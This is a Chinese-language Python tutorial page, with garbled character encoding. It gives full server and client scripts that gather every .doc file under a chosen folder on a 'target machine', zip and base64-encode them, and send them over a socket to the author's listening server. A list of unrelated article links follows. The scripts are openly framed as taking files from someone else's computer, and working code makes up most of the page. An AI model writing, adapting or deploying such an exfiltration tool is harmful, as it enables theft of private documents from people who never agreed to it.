python實現(xiàn)獲取客戶機上指定文件并傳輸?shù)椒?wù)器的方法
本文實例講述了python實現(xiàn)獲取客戶機上指定文件并傳輸?shù)椒?wù)器的方法。分享給大家供大家參考。具體分析如下:
該程序?qū)崿F(xiàn)了,把目標(biāo)機器的某個目錄(可控)的所有的某種類型文件(可控)全部獲取并傳到己方的機器上。
1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,這是2進(jìn)制加密解密
2、用zip壓縮
3、socket中server.py放到自己這方python server.py,然后client.py放到目標(biāo)機器,然后python client.py即可
4、本程序設(shè)置了獲取doc文件,修改extName可以獲取其它類型文件
服務(wù)器端程序:
import socket
import win32com.client
import os
import zipfile
import codecs
import base64
def main():
HOST = '127.0.0.1'
PORT = 2000
BUF_SIZE = 6553500 #6M
key = 'ouyang'
timeout = 5
dicName = "ouyang\\"
ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
ss.bind((HOST,PORT))
ss.listen(5)
print "wating for conntecting..."
while True:
try:
cs,addr = ss.accept()
socket.setdefaulttimeout(timeout)
cs.send("200 Connected!")
#獲取加密數(shù)據(jù)
encode_data = cs.recv(BUF_SIZE)
#把數(shù)據(jù)寫到out.zip文件
tmpfile = open('out.tmp','wb')
try:
tmpfile.write(encode_data)
tmpfile.close()
except IOError,e:
print 'Strange error creating IOError:%s' % e
tmpfile.close()
finally:
tmpfile.close()
#base64 decode 2進(jìn)制 解密 decode(infile,outfile)
tmpfile = open('out.tmp','rb')
outfile = open('out.zip','wb')
base64.decode(tmpfile,outfile)
tmpfile.close()
outfile.close()
#打開zip文件
zfile = zipfile.ZipFile('out.zip','r')
#創(chuàng)建一個文件夾來存放獲取的zip文件
if not os.path.exists(dicName):
os.mkdir(dicName)
for f in zfile.namelist():
data = zfile.read(f)
file = open(dicName+os.path.basename(f),'w+b')
file.write(data)
file.close()
print "finished!!!"
zfile.close()
#后續(xù)處理 刪除臨時文件
os.remove('out.tmp')
cs.close()
except socket.error, e:
print 'Strange error creating socket:%s' % e
cs.close()
ss.close()
except socket.error, e:
print 'Strange error creating socket:%s' % e
ss.close()
if __name__=='__main__':
main()
客戶端程序:
import socket
import win32com.client
import win32api
import os
import time
import zipfile
import codecs
import base64
def walk_dir(dir,filelist,extName,topdown=True):
for root, dirs, files in os.walk(dir, topdown):
for name in files:
if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
filelist.append(os.path.join(root,name))
for name in dirs:
if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
filelist.append(os.path.join(root,name))
def main():
HOST = '127.0.0.1'
PORT = 2000
BUF_SIZE = 65535
key = 'ouyang'
dicName = "C:\Documents and Settings\Administrator\我的文檔"
extName = '.doc'
#遍歷搜索我的文檔的doc類型
try:
filelist = []
walk_dir(dicName,filelist,extName)
except IOError,e:
print "文件處理錯誤: " % e
sys.exit(-1)
cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
cs.connect((HOST,PORT))
print cs.recv(BUF_SIZE)
#壓縮成zip文件
zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)
for f in filelist:
zfile.write(f)
zfile.close()
#base 2進(jìn)制 加密 encode(infile,outfile)
infile = open('in.zip','rb')
tmpfile = open('in.tmp','wb')
base64.encode(infile,tmpfile)
infile.close()
tmpfile.close()
#send
tmpfile = open('in.tmp','rb')
cs.send(tmpfile.read())
tmpfile.close()
#后續(xù)處理 刪除中間文件
os.remove('in.tmp')
cs.close()
except socket.error ,e:
print 'socket 出錯啦:' % e
cs.close()
if __name__=='__main__':
main()
希望本文所述對大家的Python程序設(shè)計有所幫助。
相關(guān)文章
使用matplotlib在Python中繪制數(shù)據(jù)的詳細(xì)教程
Python 在處理數(shù)據(jù)方面非常出色,通常,數(shù)據(jù)集 會包括多個變量和許多實例,這使得很難理解數(shù)據(jù)的情況,數(shù)據(jù)可視化是幫助您識別數(shù)據(jù)模式的一種有用方式,本教程將描述如何使用 matplotlib 在 Python 中繪制數(shù)據(jù),需要的朋友可以參考下2024-10-10
python之lambda表達(dá)式與sort函數(shù)中的key用法
這篇文章主要介紹了python之lambda表達(dá)式與sort函數(shù)中的key用法,具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教2023-08-08
python在一個范圍內(nèi)取隨機數(shù)的簡單實例
在本篇內(nèi)容里小編給大家分享了關(guān)于python在一個范圍內(nèi)取隨機數(shù)的簡單實例內(nèi)容,有需要的朋友們可以學(xué)習(xí)下。2020-08-08
pandas read_excel()和to_excel()函數(shù)解析
這篇文章主要介紹了pandas read_excel()和to_excel()函數(shù)解析,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2019-09-09
Python區(qū)塊鏈創(chuàng)建Block Class教程
這篇文章主要為大家介紹了Python區(qū)塊鏈創(chuàng)建Block Class教程詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2022-05-05
詳解pycharm連接遠(yuǎn)程linux服務(wù)器的虛擬環(huán)境的方法
這篇文章主要介紹了pycharm連接遠(yuǎn)程linux服務(wù)器的虛擬環(huán)境的詳細(xì)教程,本文通過圖文并茂的形式給大家介紹的非常詳細(xì),對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下2020-11-11
使用Pytorch實現(xiàn)Swish激活函數(shù)的示例詳解
激活函數(shù)是人工神經(jīng)網(wǎng)絡(luò)的基本組成部分,他們將非線性引入模型,使其能夠?qū)W習(xí)數(shù)據(jù)中的復(fù)雜關(guān)系,Swish 激活函數(shù)就是此類激活函數(shù)之一,在本文中,我們將深入研究 Swish 激活函數(shù),提供數(shù)學(xué)公式,探索其相對于 ReLU 的優(yōu)勢,并使用 PyTorch 演示其實現(xiàn)2023-11-11
np.mean()和np.std()函數(shù)的具體使用
本文主要介紹了np.mean()和np.std()函數(shù)的具體使用,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2023-03-03
Python socket實現(xiàn)的文件下載器功能示例
這篇文章主要介紹了Python socket實現(xiàn)的文件下載器功能,結(jié)合實例形式分析了Python使用socket模塊實現(xiàn)的文件下載器客戶端與服務(wù)器端相關(guān)操作技巧,需要的朋友可以參考下2019-11-11

